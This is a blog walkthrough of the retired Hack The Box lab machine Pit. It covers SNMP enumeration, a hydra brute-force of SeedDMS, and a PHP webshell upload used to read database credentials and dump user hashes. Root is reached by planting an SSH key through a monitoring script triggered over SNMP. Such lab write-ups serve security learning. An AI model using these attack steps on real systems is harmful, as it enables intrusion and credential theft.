12 minute read Leia também em :brazil: Share

Hello guys!

This week’s machine will be Pit, another medium-rated Linux box from Hack The Box, created by polarbearer and GibParadox.

:information_source: Info: Write-ups for Hack The Box machines are posted as soon as they’re retired.


This box was pretty different from the others as required some UDP enumeration, not often necessary but always useful when you’re at a dead-end :smile:. SNMP was key to enumerating and privesc this box, which had greater complexity once had SELinux enabled and didn’t allow an interactive shell until we get valid credentials to the system, connect via SSH and escalate privileges.


As usual, started by running a nmap quick scan to see which services are currently published

$ nmap -sC -sV -Pn -oA quick
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.                                 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 12:15 -03
Nmap scan report for
Host is up (0.12s latency).
Not shown: 997 filtered ports
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 213.97 seconds

Based on the information seen in the scan, noticed that the SSL certificate for this machine is dms-pit.htb, which was later added to the local hosts file.

80/TCP and 9090/TCP - HTTP Services

Accessing the pages, we can see, for the default nginx page while the displays a Cockpit Project — Cockpit Project (cockpit-project.org) Login Page.

HTB Pit - Cockpit login page

Cockpit is a web-based administration interface for Linux Servers and, as the box’s name is part of the name of this solution, we might be on the right path :smile: .

Checking for vulnerabilities for this product, I have found an SSRF vulnerability in version 234 in searchsploit that we may be able to use once it doesn’t require any valid credentials.

$ searchsploit cockpit
---------------------------------------------------------------------- ----------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ----------------------------
Cockpit CMS 0.4.4 < 0.5.5 - Server-Side Request Forgery               | php/webapps/44567.txt
Cockpit CMS 0.6.1 - Remote Code Execution                             | php/webapps/49390.txt
Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)   | multiple/webapps/49397.txt
openITCOCKPIT 3.6.1-2 - Cross-Site Request Forgery                    | php/webapps/47305.py
---------------------------------------------------------------------- ----------------------------
Shellcodes: No Results

$ head $(locate  multiple/webapps/49397.txt)
# Exploit Title: Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)
# Date: 08.01.2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://cockpit-project.org/
# Version: v234
# Tested on: Ubuntu 18.04

import argparse
import requests

Reading about this vulnerability on this Github page we can use this to enumerate and access contents we might not be allowed from other hosts, which could be useful later but, at this moment, won’t help much.

Proceeding with the enumeration, now using whatweb to speed things a little, I have created a simple bash script to loop to each host and port available, giving us some idea of what we might have published in this system

declare -a hosts=("" "pit.htb" "dms-pit.htb");
declare -a ports=("80" "9090");

for host in "${hosts[@]}"; do
        for port in "${ports[@]}"; do
                whatweb --color=never -a 3 "$host:$port" >> whatweb_enum.txt

Inspecting the results, found something interesting: when we call the domain dms-pit.htb we get a 403 Forbidden response, the ideal scenario to leverage the SSRF vuln in Cockpit, if present :smile:

http://dms-pit.htb/ [403 Forbidden] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[], Title[403 Forbidden], nginx[1.14.1]

Making some tests based on the PoC Seen, noticed that the “Connect to” field mentioned isn’t available. Also, checking the PoC videos, noticed that the version we’re running is updated and no longer vulnerable, also confirmed issuing some requests to /cockpit and don’t succeeding :disappointed:.

Based on that, started to enumerate again, both running a nmap scan for all TCP ports and quick UDP scan as well, to check if we’re missing something here. Also started a gobuster enumeration on to check for any published website on it.

After some time waiting, gobuster unfortunately resulted in nothing, as well as TCP for all ports, not showing anything different than we already saw in the quick scan. Surprisingly the UDP scan displayed listed two open ports, as results below:

$ sudo nmap -sU -sV -vv -oA quick_udp
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 13:53 -03
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 13:53
Scanning [4 ports]
Completed Ping Scan at 13:53, 0.10s elapsed (1 total hosts)
Initiating UDP Scan at 13:53
Increasing send delay for from 800 to 1000 due to 37 out of 121 dropped probes since last increase.
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for dms-pit.htb (
Host is up, received echo-reply ttl 63 (0.16s latency).
Scanned at 2021-08-10 13:53:34 -03 for 1081s
Not shown: 998 filtered ports
Reason: 979 admin-prohibiteds and 19 host-unreaches
161/udp   open          snmp    udp-response SNMPv1 server; net-snmp SNMPv3 server (public)
20762/udp open|filtered unknown no-response
Service Info: Host: pit.htb

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

161/UDP - SNMP Service

Starting with the SNMP Service, ran snmp-check and obtained some information from the system and running processes but with a simple run couldn’t obtain much information that could lead us further like passwords, secrets, etc.


Using another tool, snmpwalk, as recommended in this page, noticed that this tool can enumerate identifiers and specific OIDs (Object Identifiers) but, with the provided information not much data was also retrieved, allowing us to enumerate the accounts in the system, among other information (as well as the processes previously listed.)

NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
              total        used        free      shared  buff/cache   available
Mem:          3.8Gi       345Mi       3.1Gi       8.0Mi       452Mi       3.2Gi
Swap:         1.9Gi          0B       1.9Gi
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings

                Labeling   MLS/       MLS/
SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles

guest_u         user       s0         s0                             guest_r
root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
user_u          user       s0         s0                             user_r
xguest_u        user       s0         s0                             xguest_r

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *
michelle             user_u               s0                   *
root                 unconfined_u         s0-s0:c0.c1023       *
System uptime
 13:33:08 up 37 min,  0 users,  load average: 0.19, 0.10, 0.18

Searching for other opportunities to enumerate SNMP devices, came across this page SNMP:Comandos – snmpwalk – LRodrigo – Web Site (lncc.br) talking about some commands also using snmpwalk. The interesting here is that if you specify the OID until certain point, it lists all information about it, as SNMP works like a tree like the image below, extracted from Wikimedia.org:

HTB Pit - SNMP Tree - source: wikimedia.org

Once the root (in red on the image) doesn’t change, decided to run snmpwalk once again, but specifying from where I wanted to inspect, which was right from the root (.1) and then filtered the empty values, using the command below”

snmpwalk -v 1 -c public  .1 | grep -v -e "\"\"$"

Things got interesting when reviewing the output where, right after the process’s lists, an OID . was displaying some nginx information, previously unseen based on previous enumerations, one of them mentioning the path /var/www/html/seeddms51x/seeddms

iso. = INTEGER: 1
iso. = STRING: "nginx"
iso. = INTEGER: 1
iso. = INTEGER: 0
iso. = INTEGER: 3
iso. = INTEGER: 0
iso. = INTEGER: 0
iso. = INTEGER: 1
iso. = INTEGER: 2
iso. = STRING: "/"
iso. = STRING: "/var/www/html/seeddms51x/seeddms"
iso. = STRING: "/dev/mapper/cl-root"
iso. = STRING: "/dev/mapper/cl-seeddms"
iso. = INTEGER: 10000
iso. = INTEGER: 100000
iso. = INTEGER: -1
iso. = INTEGER: -1
iso. = INTEGER: 2611200
iso. = INTEGER: 125600
iso. = INTEGER: 374736

Switched back to browser and navigated to all domains appending the path we have found, and the SeedDMS portal was accessible via http://dms-pit.htb/seeddms51x/seeddms as we can see below

HTB Pit - SeedDMS

Initial access

Giving a quick check in searchsploit found some existing exploits for this app but all of them requires us to be authenticated to work.

$ searchsploit seeddms
---------------------------------------------------------------------- ----------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ----------------------------
Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated)       | php/webapps/50062.py
SeedDMS 5.1.18 - Persistent Cross-Site Scripting                      | php/webapps/48324.txt
SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting            | php/webapps/47024.txt
SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting              | php/webapps/47023.txt
SeedDMS versions < 5.1.11 - Remote Command Execution                  | php/webapps/47022.txt
---------------------------------------------------------------------- ----------------------------
Shellcodes: No Results

As we have some usernames and this is half of the answer, obtained from snmpwalk scans where michelle was found, we can try to guess or brute-force it using hydra, where we interestingly found the password as the same as the username:

$ hydra -l michelle -P /usr/share/wordlists/rockyou.txt dms-pit.htb http-post-form "/seeddms51x/seeddms/op/op.Login.php:login=^USER^&pwd=^PASS^&lang=:Error" -t 10
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-10 16:05:20
[DATA] max 10 tasks per 1 server, overall 10 tasks, 14344399 login tries (l:1/p:14344399), ~1434440 tries per task
[DATA] attacking http-post-form://dms-pit.htb:80/seeddms51x/seeddms/op/op.Login.php:login=^USER^&pwd=^PASS^&lang=:Error
[80][http-post-form] host: dms-pit.htb   login: michelle   password: michelle
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-10 16:05:24

Now that we have access to SeedDMS, we can use it to exploit the vulnerability, which, after uploading a php document, in this case a simple webshell (<?php system($_GET["cmd"]); ?>), we were able to execute commands using curl leveraging the Document ID of the uploaded file, in this case 31:

$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/31/1.php' --data-urlencode 'cmd=id'
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0

User flag

Besides having now RCE machine, every reverse shell command I try fails. I have tried several ways (bash, python, external payload, etc) and none of them worked, possibly due to SELinux enabled on the box. Based on that, decided to use the webshell to enumerate the system.

Checking SeedDMS project page on GitHub, identified that there’s a /conf/settings.xml file which contains the credentials to the database, which could be reused for other users in the system.

$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/33/1.php' --data-urlencode 'cmd=cat /var/www/html/seeddms51x/conf/settings.xml' | grep database
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 11933    0 11933    0     0  77993      0 --:--:-- --:--:-- --:--:-- 77993
    <edition strictFormCheck="false" viewOnlineFileTypes=".txt;.text;.html;.htm;.xml;.pdf;.gif;.png;.jpg;.jpeg" enableConverting="true" enableEmail="true" enableUsersView="true" enableFullSearch="true" enableClipboard="false" enableFolderTree="true" expandFolderTree="1" enableLanguageSelector="true" stopWordsFile="" sortUsersInList="" enableDropUpload="false" enableRecursiveCount="false" maxRecursiveCount="0" enableThemeSelector="false" fullSearchEngine="sqlitefts" sortFoldersDefault="u" editOnlineFileTypes="" enableMenuTasks="false" enableHelp="false" defaultSearchMethod="database" libraryFolder="0" maxSizeForFullText="0" showSingleSearchHit="false" enableSessionList="false" enableDropFolderList="false" enableMultiUpload="false" defaultDocPosition="end">
       - restricted: Restricted access: only allow users to log in if they have an entry in the local database (irrespective of successful authentication with LDAP).
       - dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme)
       - dbUser: username for database-access
       - dbPass: password for database-access
    <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">

Using mysql command line, enumerated tables, columns and then retrieved the username, pwd and role from the users in database

# List Tables
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/30/1.php' --data-urlencode 'cmd=mysql -u seeddms --password=ied^ieY6xoquu -e "use seeddms; select login,pwd,role from tblUsers; exit"'

# List Columns from tblUsers
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/34/1.php' --data-urlencode 'cmd=mysql -u seeddms --password=ied^ieY6xoquu -e "use seeddms; show columns from tblUsers; exit"'

# Dump credentials
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/30/1.php' --data-urlencode 'cmd=mysql -u seeddms --password=ied^ieY6xoquu -e "use seeddms; select login,pwd,role from tblUsers; exit"'
login   pwd     role
admin   155dd275b4cb74bd1f80754b61148863        1
guest   NULL    2
michelle        2345f10bb948c5665ef91f6773b3e455        0
jack    682d305fdaabc156430c4c6f6f5cc65d        0

With the hashes, tried to crack them using john and rockyou.txt but with no success.

As we have the database credentials, remembered that we have access to the cockpit page, where the credentials could not be validated for user seeddms but worked successfully for michelle.

Accessing the terminal from the web portal, was able to get the user.txt hash

[michelle@pit ~]$ ls 
check.sh  user.txt
[michelle@pit ~]$ cat user.txt

Root flag

After submitting the flag, was unable to run sudo -l as usually done, so started the enumeration from michelle’s account using linpeas.sh, where nothing too interesting was found besides an uncommon file containing particular privileges.

╔══════════╣ Files with ACLs (limited to 50)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls
# file: /usr/local/monitoring
USER   root      rwx
user   michelle  -wx
GROUP  root      rwx
mask             rwx
other            ---                  

Inspecting this file, noticed that’s actually a directory but we don’t have read access on (just write and execute according to above output). Searching for other files that makes reference to this folder, ran a recusive grep in the file system, where I have found a file previously found in snmpwalk enum..

[michelle@pit local]$ grep -r "/usr/local/monitoring/"  / 2>/dev/null
/usr/bin/monitor:for script in /usr/local/monitoring/check*sh
[michelle@pit local]$ cat /usr/bin/monitor 

for script in /usr/local/monitoring/check*sh
    /bin/bash $script
[michelle@pit local]$

As we can see, this script runs any file with check*.sh in the directory /usr/local/monitoring, allowing us to run any arbitrary code from the process that starts /usr/bin/monitor.

To better understanding on how I could leverage the permission found, decided to review the recon output and found a mention to the file monitor, referenced as nxExtendedCommands from SNMP scan.

$ grep -r "/usr/bin/monitor" .
./scans/snmpwalk_nsExtendObjects.txt:NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
./scans/snmp_full.txt:iso. = STRING: "/usr/bin/monitor"

According to this guide SNMP RCE - HackTricks, if any binary is configured as nsExtendedCommand (or you’re able to add any in these settings), you can trigger its execution using snmpwalk.

Based on the gathered information, we probably have a way to gain rootaccess, where the following steps were executed:

  • Created a checkXXXX.sh file, which adds a public key inside ssh’s authorized_keys in the profile that runs the process and copied it to /usr/bin/monitor.

    echo "ssh-rsa <base64PubKey> root@kali" >> ~/.ssh/authorized_keys
  • From the attacker machine, triggered the nsExtendedObject action

    # Trigger Extended objects
    snmpwalk -v 1 -c public NET-SNMP-EXTEND-MIB::nsExtendObjects
  • Right after that, connected using the corresponding private key via SSH as user root, where I was able to get the final flag

$ ssh -i pit root@
Web console: https://pit.htb:9090/

Last login: Tue Aug 10 14:50:51 2021 from
[root@pit ~]# id && hostname
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@pit ~]# cat root.txt
[root@pit ~]#

I hope you guys have enjoyed!

See you at the next post :smile: